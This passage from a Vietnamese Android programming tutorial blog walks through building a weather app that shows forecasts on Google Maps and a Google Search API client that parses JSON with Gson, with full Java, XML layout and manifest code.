tools:context="com.tranduythanh.weatherprediction.WeatherMapsActivity"
android:name="com.google.android.gms.maps.SupportMapFragment" />

Và lớp WeatherMapsActivity kế thừa từ FragmentActivity.

Đồng thời nó sẽ phát sinh ra thêm 1 file google_maps_api.xml để lưu trữ KEY sử dụng Map như đã hướng dẫn ở các bài trước (bạn cần tự tạo để lấy KEY dán vào đây):

android64_18Ở trên bạn cần làm theo bước: Copy toàn bộ dữ liệu trong dòng mà tui đánh dấu là số 1, đưa nó vào link trong vùng Tui đánh dấu là số 2 (cách tạo key trong này đã hướng dẫn từ các bài trước về Map, bạn tự coi lại), sau khi nó tạo ra Key truy suất MAP, bạn dán Key đó vào vùng số 3. Ở vùng Số  hệ thông có tự đặt tên là google_maps_key.

– Sau đó bạn mở AndroidManifest lên để quát sát nó có cái gì ở đây:

android64_19Bạn thấy đấy, nó đơn giản hơn rất là nhiều, nó tự làm giùm cho chúng ta.

– Tiếp theo ta tiến hành coding để xử lý cho cho thời tiết trên map:

– Tạo lớp MyInfoWindowAdapter (sử dụng chung Layout xem thời tiết như đã đề cập ở trên) để hiển thị lên Map:


package com.tranduythanh.weatherprediction;

import android.app.Activity;
import android.graphics.Bitmap;
import android.graphics.Color;
import android.location.Address;
import android.location.Geocoder;
import android.location.Location;
import android.view.View;
import android.widget.ImageView;
import android.widget.TextView;

import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.model.Marker;
import com.tranduythanh.model.OpenWeatherJSon;
import com.tranduythanh.utils.TypePrediction;
import com.tranduythanh.utils.WeatherAsyncTask;

import java.io.IOException;
import java.text.DecimalFormat;
import java.text.NumberFormat;
import java.util.Date;
import java.util.List;
import java.util.Locale;

/**
* Created by drthanh on 12/05/2015.
*/
public class MyInfoWindowAdapter  implements GoogleMap.InfoWindowAdapter {
private Activity context;
Marker maker=null;
OpenWeatherJSon openWeatherJSon=null;
Bitmap myBitmap=null;
NumberFormat format = new DecimalFormat("#0.0");
double latitude;
double longitude;
public MyInfoWindowAdapter(Activity context)
{
this.context=context;
}
public MyInfoWindowAdapter(OpenWeatherJSon openWeatherJSon,Bitmap myBitmap,Marker maker,Activity context)
{
this(context);
this.maker=maker;
this.openWeatherJSon=openWeatherJSon;
this.myBitmap=myBitmap;
}
public MyInfoWindowAdapter(OpenWeatherJSon openWeatherJSon,Bitmap myBitmap,Marker maker,Activity context,double latitude,double longitude)
{
this(openWeatherJSon,myBitmap,maker,context);
this.latitude=latitude;
this.longitude=longitude;
}
@Override
public View getInfoWindow(Marker marker) {
View v = this.context.getLayoutInflater().inflate(R.layout.activity_weather_current_location, null);

TextView txtTemperature=(TextView) v.findViewById(R.id.txtTemperature);
TextView txtCurrentAddressName=(TextView) v.findViewById(R.id.txtCurrentAddressName);
ImageView imageView=(ImageView) v.findViewById(R.id.imgBauTroi);
TextView txtMaxtemp=(TextView) v.findViewById(R.id.txtMaxTemp);
TextView txtMinTemp=(TextView) v.findViewById(R.id.txtMinTemp);
TextView txtWind=(TextView) v.findViewById(R.id.txtWind);
TextView txtCloudliness= (TextView) v.findViewById(R.id.txtCloudliness);
TextView txtPressure= (TextView) v.findViewById(R.id.txtPressure);
TextView txtHumidty= (TextView) v.findViewById(R.id.txtHumidty);
TextView txtSunrise= (TextView) v.findViewById(R.id.txtSunrise);
TextView txtSunset= (TextView) v.findViewById(R.id.txtSunset);
double temperature=openWeatherJSon.getMain().getTemp()-273.15;
String maxtemp= format.format(openWeatherJSon.getMain().getTemp_max()-273.15)+"°C";
String mintemp= format.format(openWeatherJSon.getMain().getTemp_min()-273.15)+"°C";
String wind= openWeatherJSon.getWind().getSpeed()+" m/s";
String mesg = openWeatherJSon.getWeather().get(0).getMain();
//  Translator translate = Translator.getInstance();
// String cloudiness=mesg+" ("+translate.translate(mesg, Language.ENGLISH, Language.VIETNAMESE)+")";
String cloudiness=mesg;
String pressure= openWeatherJSon.getMain().getPressure()+" hpa";
String humidity=openWeatherJSon.getMain().getHumidity()+" %";

Date timeSunrise = new Date(openWeatherJSon.getSys().getSunrise()*1000);
String Sunrise= timeSunrise.getHours()+":"+timeSunrise.getMinutes()+" AM";
Date timeSunSet = new Date(openWeatherJSon.getSys().getSunset()*1000);
String sunset= timeSunSet.getHours()+":"+timeSunSet.getMinutes();
txtTemperature.setText(format.format(temperature)+"°C");
imageView.setImageBitmap(myBitmap);
txtMaxtemp.setText(maxtemp);
txtMinTemp.setText(mintemp);
txtWind.setText(wind);
txtCloudliness.setText(cloudiness);
txtPressure.setText(pressure);
txtHumidty.setText(humidity);
txtSunrise.setText(Sunrise);
txtSunset.setText(sunset);

try {
Geocoder geocoder;
List<Address> addresses;
geocoder = new Geocoder(this.context, Locale.getDefault());
addresses = geocoder.getFromLocation(latitude, longitude, 1); // Here 1 represent max location result to returned, by documents it recommended 1 to 5

Address address=null;
if(addresses.size()>0)
address=addresses.get(0);
if(address!=null)
{
txtCurrentAddressName.setText(address.getAddressLine(0));
/*String city = address.getLocality();
String state = address.getAdminArea();
String country = address.getCountryName();
String postalCode = address.getPostalCode();
String knownName = address.getFeatureName();*/
}

} catch (IOException e) {
e.printStackTrace();
}
v.setBackgroundColor (Color.WHITE);
return v;
}

@Override
public View getInfoContents(Marker marker) {
return null;
}
}

– Cuối cùng ta xử lý coding cho phép hiển thị thời tiết bất kỳ trên Bản đồ (WeatherMapsActivity):


package com.tranduythanh.weatherprediction;

import android.app.ProgressDialog;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationManager;
import android.support.v4.app.FragmentActivity;
import android.os.Bundle;

import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.SupportMapFragment;
import com.google.android.gms.maps.model.BitmapDescriptorFactory;
import com.google.android.gms.maps.model.CameraPosition;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.Marker;
import com.google.android.gms.maps.model.MarkerOptions;
import com.tranduythanh.utils.WeatherAsyncTask;

public class WeatherMapsActivity extends FragmentActivity {

private GoogleMap mMap; // Might be null if Google Play services APK is not available.
ProgressDialog myProgress;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_weather_maps);
myProgress = new ProgressDialog(this);
myProgress.setTitle("Đang tải Map ...");
myProgress.setMessage("Vui lòng chờ...");
myProgress.setCancelable(true);
//Hiển thị Progress Bar
myProgress.show();
setUpMapIfNeeded();
addEvents();
}

/**
* xử lý chọn địa điểm bất kỳ trên Map
* lấy ra được lớp LatLng để lấy kinh độ vĩ độ
* truyền cho hàm moveAndShowWeatherNewPlace để hiển thị thời tiết  tại địa điể mới
*/
public void addEvents()
{
if(mMap==null)return;
mMap.setOnMapClickListener(new GoogleMap.OnMapClickListener() {
@Override
public void onMapClick(LatLng latLng) {
moveAndShowWeatherNewPlace(latLng);
}
});
}

/**
* hiển thị lại thời tiết tại địa điểm mới chọn trên bản đồ
* @param latLng
*/
private void moveAndShowWeatherNewPlace(LatLng latLng) {
if (latLng != null)
{
mMap.animateCamera(CameraUpdateFactory.newLatLngZoom(
new LatLng(latLng.latitude, latLng.longitude), 13));

CameraPosition cameraPosition = new CameraPosition.Builder()
.target(new LatLng(latLng.latitude, latLng.longitude))      // Sets the center of the map to location user
.zoom(15)                   // Sets the zoom
.bearing(90)                // Sets the orientation of the camera to east
.tilt(40)                   // Sets the tilt of the camera to 30 degrees
.build();                   // Creates a CameraPosition from the builder
mMap.animateCamera(CameraUpdateFactory.newCameraPosition(cameraPosition));

MarkerOptions option=new MarkerOptions();
option.position(new LatLng(latLng.latitude, latLng.longitude));
option.title("Cho o cua tui").snippet("Tran Duy Thanh");
option.icon(BitmapDescriptorFactory.defaultMarker(BitmapDescriptorFactory.HUE_AZURE));
//option.icon(BitmapDescriptorFactory.fromResource(R.drawable.icon_tiempo));
//option.alpha(0.8f);
//option.rotation(90);
Marker maker = mMap.addMarker(option);
//maker.showInfoWindow();
WeatherAsyncTask task=new WeatherAsyncTask(maker,mMap,WeatherMapsActivity.this,latLng.latitude,latLng.longitude);
task.execute();
//maker.showInfoWindow();
//mMap.setInfoWindowAdapter(new MyInfoWindowAdapter(maker,WeatherMapsActivity.this,lastLocation));
//tiến hành hiển thị lên Custom marker option lên Map:
//maker.showInfoWindow();
}
}

@Override
protected void onResume() {
super.onResume();
//setUpMapIfNeeded();
}

/**
* Sets up the map if it is possible to do so (i.e., the Google Play services APK is correctly
* installed) and the map has not already been instantiated.. This will ensure that we only ever
* call {@link #setUpMap()} once when {@link #mMap} is not null.
* <p/>
* If it isn't installed {@link SupportMapFragment} (and
* {@link com.google.android.gms.maps.MapView MapView}) will show a prompt for the user to
* install/update the Google Play services APK on their device.
* <p/>
* A user can return to this FragmentActivity after following the prompt and correctly
* installing/updating/enabling the Google Play services. Since the FragmentActivity may not
* have been completely destroyed during this process (it is likely that it would only be
* stopped or paused), {@link #onCreate(Bundle)} may not be called again so we should call this
* method in {@link #onResume()} to guarantee that it will be called.
*/
private void setUpMapIfNeeded() {
// Do a null check to confirm that we have not already instantiated the map.
if (mMap == null) {
// Try to obtain the map from the SupportMapFragment.
mMap = ((SupportMapFragment) getSupportFragmentManager().findFragmentById(R.id.map))
.getMap();
// Check if we were successful in obtaining the map.
if (mMap != null) {
mMap.setOnMapLoadedCallback(new GoogleMap.OnMapLoadedCallback() {

@Override
public void onMapLoaded() {
//Đã tải thành công thì tắt Dialog Progress đi
myProgress.dismiss();
}
});
mMap.setMapType(GoogleMap.MAP_TYPE_NORMAL);
mMap.getUiSettings().setZoomControlsEnabled(true);
mMap.setMyLocationEnabled(true);

//setUpMap();
TuiDangODau();
}
}
}

/**
* This is where we can add markers or lines, add listeners or move the camera. In this case, we
* just add a marker near Africa.
* <p/>
* This should only be called once and when we are sure that {@link #mMap} is not null.
*/
private void setUpMap() {
LatLng TTTH_KHTN = new LatLng(10.763181, 106.675664);
MarkerOptions option=new MarkerOptions();
option.position(TTTH_KHTN);
option.title("Trung tâm tin học ĐH KHTN").snippet("Tran Duy Thanh");
option.icon(BitmapDescriptorFactory.defaultMarker(BitmapDescriptorFactory.HUE_AZURE));
//option.alpha(0.8f);
//option.rotation(90);
Marker maker = mMap.addMarker(option);
maker.showInfoWindow();
mMap.moveCamera(CameraUpdateFactory.newLatLngZoom(TTTH_KHTN, 15));
//mMap.addMarker(new MarkerOptions().position(new LatLng(0, 0)).title("Marker"));
}

/**
* mặc định lần đầu mở Map lên sẽ hiển thị chi tiết thời tiết tại vị trí hiện tại
* lên trên bản đồ
*/
private void TuiDangODau() {

LocationManager locationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
Criteria criteria = new Criteria();

Location lastLocation = locationManager.getLastKnownLocation(locationManager.getBestProvider(criteria, false));
if (lastLocation != null)
{
mMap.animateCamera(CameraUpdateFactory.newLatLngZoom(
new LatLng(lastLocation.getLatitude(), lastLocation.getLongitude()), 13));

CameraPosition cameraPosition = new CameraPosition.Builder()
.target(new LatLng(lastLocation.getLatitude(), lastLocation.getLongitude()))      // Sets the center of the map to location user
.zoom(15)                   // Sets the zoom
.bearing(90)                // Sets the orientation of the camera to east
.tilt(40)                   // Sets the tilt of the camera to 30 degrees
.build();                   // Creates a CameraPosition from the builder
mMap.animateCamera(CameraUpdateFactory.newCameraPosition(cameraPosition));

MarkerOptions option=new MarkerOptions();
option.position(new LatLng(lastLocation.getLatitude(), lastLocation.getLongitude()));
option.title("Cho o cua tui").snippet("Tran Duy Thanh");
option.icon(BitmapDescriptorFactory.defaultMarker(BitmapDescriptorFactory.HUE_AZURE));
//option.icon(BitmapDescriptorFactory.fromResource(R.drawable.icon_tiempo));
//option.alpha(0.8f);
//option.rotation(90);
Marker maker = mMap.addMarker(option);
//maker.showInfoWindow();
WeatherAsyncTask task=new WeatherAsyncTask(maker,mMap,WeatherMapsActivity.this,lastLocation.getLatitude(),lastLocation.getLongitude());
task.execute();
//maker.showInfoWindow();
//mMap.setInfoWindowAdapter(new MyInfoWindowAdapter(maker,WeatherMapsActivity.this,lastLocation));
//tiến hành hiển thị lên Custom marker option lên Map:
//maker.showInfoWindow();
}
}
}

– Sau cùng ta cần cấu hình AndroidManifest đầy đủ như sau:


<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.tranduythanh.weatherprediction" >

<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="com.google.android.providers.gsf.permission.READ_GSERVICES" />
<!--
The ACCESS_COARSE/FINE_LOCATION permissions are not required to use
Google Maps Android API v2, but are recommended.
-->
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />

<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<meta-data
android:name="com.google.android.gms.version"
android:value="@integer/google_play_services_version" />
<meta-data
android:name="com.google.android.maps.v2.API_KEY"
android:value="@string/google_maps_key" />

<activity
android:name=".WeatherMapsActivity"
android:label="@string/title_activity_weather_maps" >
</activity>
<activity
android:name=".WeatherCurrentLocationActivity"
android:label="@string/title_activity_weather_current_location" >
</activity>
<activity
android:name=".WeatherByAddressActivity"
android:label="@string/title_activity_weather_by_address" >
</activity>
<activity
android:name=".ChooseAddressActivity"
android:label="@string/title_activity_choose_address" >
</activity>
</application>

</manifest>

– Như vậy Tui đã trình bày gần hoàn chỉnh phần mềm xem dự báo thời tiết (còn chức năng dự báo ngày kế tiếp bạn tự làm).

– Bạn cần đọc kỹ lại các bài về Map trước đó nếu như chưa rành, cố gắng đọc hiểu và làm lại bài này nhều lần.

– Các bạn có thể tải source code đầy đủ ở đây (nhớ phải đổi lại KEY mới hoạt động phần Map): http://www.mediafire.com/download/3fwxcr8ziudjt47/WeatherPrediction.rar

– Chúc các bạn thành công.

Bài 63: Cách đưa định dạng JSon về Java class bằng GSon (tiếp 2)


bài 61bài 62 các bạn đã biết cách chuyển định dạng JSon qua Java class, trong bài này Tui sẽ hướng dẫn các bạn cách chuyển đổi phức tạp nhất và cũng là cuối cùng.

Tui sẽ viết phần mềm truy tìm thông tin trên Internet thông qua Google Search API (kết quả trả về của API này là một định dạng JSon phức tạp: Đối tượng chứa đối tượng, đối tượng chứa tập các đối tượng). Sau đó các bạn dựa vào project này để tiếp tục phát triển nó lên để sử dụng trong thực tế luôn.

Tui Demo giao diện sử dụng như sau:

android_63_5– Hình bên trái dùng để hiển thị kết quả của Google Search API gửi về (gửi về thông qua JSON)

– Hình bên phải là lúc người sử dụng chọn bất kỳ kết quả nào thì nó mở website đó lên để đọc thông tin chi tiết.

Trước tiên bạn cần hiểu cách sử dụng công cụ Google Search API (Được xử lý bằng Ajax và trả về JSON):

————————————————————————-

Cú pháp:

http://ajax.googleapis.com/ajax/services/search/web?v=1.0 &q={thông tin cần tìm}&start={vị trí bắt đầu lọc}&rsz={block lọc}

————————————————————————-

 q: là thông tin bạn cần tìm kiếm trên mạng

start: là vị trí bắt đầu lọc

rsz: là block lọc (bạn chỉ chọn 2 loại block là 4 hoặc 8; tức là mỗi lần lấy về 4 hoặc 8 kết quả),

Như vậy nếu bạn muốn truy vấn thật nhiều thông tin thì bạn nên chọn Bội số của rsz rồi cho vòng lặp chạy theo bước start=start+rsz

Bạn thử đưa ra công thức vòng lặp với yêu cầu của Tui: Hãy trả về 24 dòng kết quả tìm kiếm thông tin “Hang Sơn Đoòng“? Vậy bạn phải viết vòng lặp như thế nào?

Sau đây ta xem ví dụ thứ 1:

http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=hang sơn đoòng:

Nếu chỉ có q bên trên thì kết quả mặc định là block 4 như kết quả dưới đây:

android_63_0Sau đây ta xem ví dụ thứ 2:

http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=hang sơn đoòng&start=0&rsz=8

Nếu đủ 3 thông số q,start,rsz bên trên thì kết quả mặc định là rsz  như kết quả dưới đây (tức là 8 dòng):

android_63_6– Bạn thấy đấy, đây là một kết quả JSON khá phức tạp, nếu không nói là nhìn thấy bỏ của chạy lấy người luôn.

– Bây giờ Ta tiến hành phân tích một số thông tin quan trong trong cấu trúc JSON này nhé: android_63_1– Bạn thấy Tui tô đen dữ liệu có nằm trong ngoặc vuông [], định dạng nằm trong [] chính là mảng hay danh sách.

– Tiếp theo Tui chọn 1 đối tượng (tức là được nằm trong cặp ngoặc nhọn thuộc [] này:

android_63_2Tương tự như vậy bạn có thể quan sát các thông số khác để biết đâu là đối tượng, đâu là danh sách đối tượng.

– TUY NHIÊN trong bài này tui chỉ lấy 2 thông số chính từ kết quả trả về đó là titleNoFormatting url.

Tới đây thì bạn phải biết cách tạo danh sách các class như sau: android_63_7– Bạn tạo một Project tên là “GoogleSearchTool“, có cấu trúc như sau:

android_63_9– Giải thích sơ sơ:

+ Các lớp nằm trong model là lớp định dạng lấy thông tin từ JSon: GoogleData,ResponseData,Result

+ Lớp GoogleSearchAPI dùng để tải thông tin từ Google Search API

+ Lớp MyArrayAdapter để hiển thị custom control trên ListView.

+ MainActivity là Activity dùng cho người sử dụng tương tác phần mềm, ở trong này có một class GoogleSearchThread để tiến hành dùng kỹ thuật đa tiến trình để gọi GoogleSearchAPI  thực thi.

+ Layout: Có custom_row_layout để hiển thị custom cho từng dòng trong ListView.

– Chú ý vì có kết nối internet nên bạn phải cấp quyền sử dụng trong AndroidManifest nhé.

– Ta bắt đầu tiến hành Coding như sau:

1) thiết kế giao diện cho ứng dụng:android_63_10– Bạn có thể nhìn vào Component Tree để thiết kế giao diện cho ứng dụng, tuy nhiên có thể copy XML Layout sau:

activity_main.xml:


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
    android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    android:orientation="vertical"
    android:paddingBottom="@dimen/activity_vertical_margin" tools:context=".MainActivity">

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="Nhập chuỗi cần tìm:"
        android:id="@+id/textView" />

    <EditText
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:id="@+id/txtQuery"
       />

    <Button
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Tìm kiếm"
        android:id="@+id/btnTimKiem"
        android:layout_gravity="center_horizontal" />

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="Kết quả tìm được:"
        android:id="@+id/textView2"
        android:layout_gravity="center_horizontal"
        android:background="#000040"
        android:textColor="#FFFFFF" />

    <ListView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:id="@+id/lvResult"
        android:layout_gravity="center_horizontal" />
</LinearLayout>

 

 

– Tiếp theo thiết kê giao diện cho Custom row:

custom_row_layout.xml:


<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent" android:layout_height="match_parent"
    android:orientation="vertical"
    >

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:id="@+id/txtTitle"
        android:hint="Title ở đây" />

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:id="@+id/txtLink"
        android:layout_gravity="center_horizontal"
        android:hint="Link ở đây"
        android:textColor="#000040" />
</LinearLayout>

 

 

– Custom row đơn giản chi có 2 control, dòng 1 là tiêu đề kết quả, dòng 2 là link xem chi tiết.

2) Cấu hình cấp quyền Internet cho ứng dụng trong AndroidManifest.xml:


<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.tranduythanh.googlesearchtool" >
    <uses-permission android:name="android.permission.INTERNET"/>
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

 

 

3) Tiến hành coding cho các lớp :

-GoogleSearchAPI:


package com.tranduythanh.utils;

import com.google.gson.Gson;
import com.tranduythanh.model.GoogleData;
import com.tranduythanh.model.Result;

import java.io.IOException;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;

/**
 * Created by drthanh on 03/04/2015.
 */
public class GoogleSearchAPI {
    /**
     * Hàm này dùng để tìm kiếm một từ khóa bất kỳ trên internet thông qua Google Search API
     * @param query - từ khóa muốn tìm kiếm
     * @param charset - UTF-8
     * @param start - lấy từ 0...n, mỗi lần Search lấy 4 hoặc 8 block kết quả
     * @param block - truyền 4 hoặc 8
     * @return trả về GoogleData
     */
    public static GoogleData search(String query,String charset,int start,int block)
    {
        try {
            String address = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=";

            URL url;

            url = new URL(address + URLEncoder.encode(query, charset)+"&start="+start+"&rsz="+block);

            InputStreamReader reader = new InputStreamReader(url.openStream(), charset);
            GoogleData results = new Gson().fromJson(reader, GoogleData.class);

            return results;

        } catch (MalformedURLException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (UnsupportedEncodingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (NumberFormatException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        return null;
    }
}

 

Lớp Result:


package com.tranduythanh.model;

public class Result {
private String url;
private String titleNoFormatting;
public String getUrl()
{
return url;
}
public String getTitleNoFormatting()
{
return titleNoFormatting;
}
public void setUrl(String url)
{
this.url = url;
}
public void setTitleNoFormatting(String titleNoFormatting)
{
this.titleNoFormatting = titleNoFormatting;
}
}

Lớp ResponseData:


package com.tranduythanh.model;

import java.util.List;

public class ResponseData {
private List<Result> results;
public List<Result> getResults()
{
return results;
}
public void setResults(List<Result> results)
{
this.results = results;
}
}

Trong lớp ResponseData nó sẽ có một danh sách các Result giống như trong định dạng JSon.

Lớp GoogleData:


package com.tranduythanh.model;

public class GoogleData {
private ResponseData responseData;
public ResponseData getResponseData()
{
return responseData;
}
public void setResponseData(ResponseData responseData)
{
this.responseData = responseData;
}
}

– Như vậy ta đã đáp ứng được mô hình Java class để lấy thông tin từ định dạng JSOn.

– Coding lớp MyArrayAdapter:

Lớp này dùng để chỉnh sửa cách hiển thị dữ liệu lên ListView theo như mô tả ở trên,

Nếu bạn chưa hiểu về customlayout thì bắt buộc phải  đọc các bài này trước:

https://duythanhcse.wordpress.com/2013/04/08/bai-tap-14-thuc-hanh-ve-custom-layout-cho-listview-trong-android/

https://duythanhcse.wordpress.com/2013/04/20/bai-tap-25-tiep-tuc-cung-co-kien-thuc-intent-vi-du-tong-hop-quan-ly-nhan-vien/


package com.tranduythanh.googlesearchtool;

import android.app.Activity;
import android.content.Context;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.TextView;

import com.tranduythanh.model.Result;

import java.util.List;

/**
* Created by drthanh on 03/04/2015.
*/
public class MyArrayAdapter extends ArrayAdapter<Result>
{
Activity context;
int resource;
List<Result>objects;
public MyArrayAdapter(Activity context, int resource, List<Result> objects) {
super(context, resource, objects);
this.context=context;
this.resource=resource;
this.objects=objects;
}

@Override
public View getView(int position, View convertView, ViewGroup parent) {
LayoutInflater inflater =this.context.getLayoutInflater();
View customRow= inflater.inflate(this.resource,null);
TextView txtTitle= (TextView) customRow.findViewById(R.id.txtTitle);
TextView txtLink= (TextView) customRow.findViewById(R.id.txtLink);
Result result=this.objects.get(position);
txtTitle.setText(result.getTitleNoFormatting());
txtLink.setText(result.getUrl());

if(position%2==0)
txtTitle.setTextColor(this.context.getResources().getColor(android.R.color.holo_blue_dark));
else
txtTitle.setTextColor(this.context.getResources().getColor(android.R.color.holo_red_dark));
return customRow;
}
}

– Cuối cùng là lớp MainActivity:

<pre>
package com.tranduythanh.googlesearchtool;

import android.content.Intent;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.SystemClock;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.AdapterView;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ListView;
import android.widget.Toast;

import com.google.gson.Gson;
import com.tranduythanh.model.GoogleData;
import com.tranduythanh.model.Result;
import com.tranduythanh.utils.GoogleSearchAPI;

import java.io.IOException;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;

public class MainActivity extends ActionBarActivity {

EditText txtQuery;
Button btnSearch;

ListView lvResult;
List<Result>arrData;
MyArrayAdapter adapter;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
addControls();
addEvents();
}

private void addControls() {
txtQuery= (EditText) findViewById(R.id.txtQuery);
txtQuery.setText("Hang sơn Đòng");
btnSearch= (Button) findViewById(R.id.btnTimKiem);
lvResult= (ListView) findViewById(R.id.lvResult);

arrData=new ArrayList<>();
adapter=new MyArrayAdapter(MainActivity.this,R.layout.custom_row_layout,arrData);
lvResult.setAdapter(adapter);
}
private void addEvents() {
btnSearch.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
processSearch();
}
});

lvResult.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
//hiển thị LInk đang chọn trên ListView:
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(arrData.get(position).getUrl()));
startActivity(browserIntent);
}
});
}

private void processSearch() {
arrData.clear();
//Gọi đa tiến trình
GoogleSearchThread task=new GoogleSearchThread();
task.execute(txtQuery.getText()+"");
}

/**
* lớp cho phép chạy đa tiến trình
*/
private class GoogleSearchThread extends AsyncTask<String,Result,List<Result>>
{
@Override
protected void onPreExecute() {
super.onPreExecute();
}
@Override
protected List<Result> doInBackground(String... params) {
String query=params[0];
GoogleData data= GoogleSearchAPI.search(query,"UTF-8",0,8);
if(data.getResponseData()==null)
return null;
for(Result r: data.getResponseData().getResults())
{
//gửi kết quả qua onProgressUpdate để cập nhật giao diện:
publishProgress(r);
SystemClock.sleep(1000);
}
return data.getResponseData().getResults();
}

@Override
protected void onProgressUpdate(Result... values) {
super.onProgressUpdate(values);
arrData.add(values[0]);
adapter.notifyDataSetChanged();
}

@Override
protected void onPostExecute(List<Result> results) {
super.onPostExecute(results);
Toast.makeText(MainActivity.this,"Đã tìm kiếm được "+results.size()+" kết quả",Toast.LENGTH_LONG).show();
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();

//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}

return super.onOptionsItemSelected(item);
}
}

– Như vậy bạn đã làm xong trường hợp định dạng JSon phức tạp, từ đây về sau có những dự án liên quan tới JSON thì bạn có thể làm theo cách này, chỉ cần đọc phân tích đúng thông tin trong JSON để từ đó tạo class Java phù hợp là OK.

-Chú ý là phải tham chiếu tới thư viện gson-2.2.4.jar nhé.

– Bài tập kế tiếp Tui sẽ viết một phần mềm dựa trên JSON để Dự Báo Thời Tiết (thời tiết thực tế ở một địa điểm bất kỳ nào đó trên thế giới).

-Bạn có thể coding của bài này ở đây: http://www.mediafire.com/download/bew37pegs3n0z85/GoogleSearchTool.rar

– Chúc các bạn thành công!

Bài 62: Cách đưa định dạng JSon về Java class bằng GSon (tiếp 1)


bài tập 61 các bạn đã được học qua cách đưa định dạng JSon cơ bản qua Java class, trong bài này Tui sẽ hướng dẫn các bạn cách đưa 1 định dạng JSon phức tạp qua Java class, chẳng hạn như cấu trúc sau http://graph.facebook.com/taylorSwift :

android_62_0Bạn quan sát ở trên thì tổng cộng có 3 cặp ngoặc nhọn.

Ngoặc nhọn ngoài cùng chính là lớp FaceBook mà ta đã tạo, 2 cặp nhọn bên trong là 2 thuộc tính có kiểu đối tượng của lớp FaceBook. Như vậy ta phải tạo thêm 2 class bên trong, thông thường ta sẽ tạo lớp với quy tắc là giống tên thuộc tính có kiểu đối tượng nhưng các Ký Tự đầu của mỗi từ viết Hoa. Ví dụ:

android_62_1Ở trên là ta tạo 1 class tên Cover, nhớ là C viết hoa. Còn thuộc tính cover thì nằm trong class FaceBook có kiểu Cover.

Phân tích cấu trúc JSon của Taylor Swift, giả sử trong lớp FaceBook Tui chỉ quan tâm các thuộc tính sau:

id (có kiểu chuỗi)

username (có kiểu chuỗi)

name (có kiểu chuỗi)

gender(không có trong JSon của Taylor Swift)

likes (có kiểu số)

cover (có kiểu Cover)

